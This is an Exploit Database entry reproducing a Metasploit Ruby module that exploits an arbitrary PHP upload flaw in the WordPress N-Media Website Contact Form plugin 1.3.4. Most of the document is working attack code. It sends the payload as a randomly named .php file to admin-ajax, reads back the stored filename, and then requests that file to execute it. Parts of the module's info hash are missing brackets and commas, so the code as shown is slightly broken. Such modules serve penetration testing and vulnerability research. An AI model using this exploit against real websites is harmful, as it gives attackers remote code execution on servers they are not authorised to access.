WordPress Plugin N-Media Website Contact Form – Arbitrary File Upload (Metasploit)

Exploit Database
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作者： Metasploit

日期： 2015-04-21
类别：
- remote
平台：
- php
来源：https://www.exploit-db.com/exploits/36810/

# This module requires Metasploit: http://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::HTTP::Wordpress

include Msf::Exploit::FileDropper

def initialize(info = {})

super(update_info(info,

'Name' => 'Wordpress N-Media Website Contact Form Upload Vulnerability',

'Description'=> %q{

This module exploits an arbitrary PHP code upload in the WordPress N-Media Website Contact Form

plugin, version 1.3.4. The vulnerability allows for arbitrary file upload and remote code execution.

'Author' =>

[

'Claudio Viviani', # Vulnerability discovery

'Roberto Soares Espreto <robertoespreto[at]gmail.com>'# Metasploit module

'License'=> MSF_LICENSE,

'References' =>

[

['URL', 'http://www.homelab.it/index.php/2015/04/12/wordpress-n-media-website-contact-form-shell-upload/'],

['WPVDB', '7896']

'Privileged' => false,

'Platform' => 'php',

'Arch' => ARCH_PHP,

'Targets'=> [['N-Media WebSite Contact Form 1.3.4', {}]],

'DisclosureDate' => 'Apr 12 2015',

'DefaultTarget'=> 0)

)

end

def check

check_plugin_version_from_readme('website-contact-form-with-file-upload', '1.5')

end

def exploit

php_pagename = rand_text_alpha(4 + rand(4)) + '.php'

data = Rex::MIME::Message.new

data.add_part('upload', nil, nil, 'form-data; name="action"')

data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{php_pagename}\"")

data.add_part('nm_webcontact_upload_file', nil, nil, 'form-data; name="action"')

post_data = data.to_s

res = send_request_cgi({

'uri' => wordpress_url_admin_ajax,

'method'=> 'POST',

'ctype' => "multipart/form-data; boundary=#{data.bound}",

'data'=> post_data

})

if res

if res.code == 200 && res.body =~ /filename/

begin

new_php_pagename = JSON.parse(res.body)["filename"]

rescue JSON::ParserError

fail_with(Failure::Unknown, 'Unable to parse JSON data for the filename')

end

print_good("#{peer} - Our payload is at: #{new_php_pagename}. Calling payload...")

register_files_for_cleanup(new_php_pagename)

else

fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")

end

else

fail_with(Failure::Unknown,'ERROR')

end

print_status("#{peer} - Calling payload...")

send_request_cgi(

'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', 'contact_files', new_php_pagename)

)

end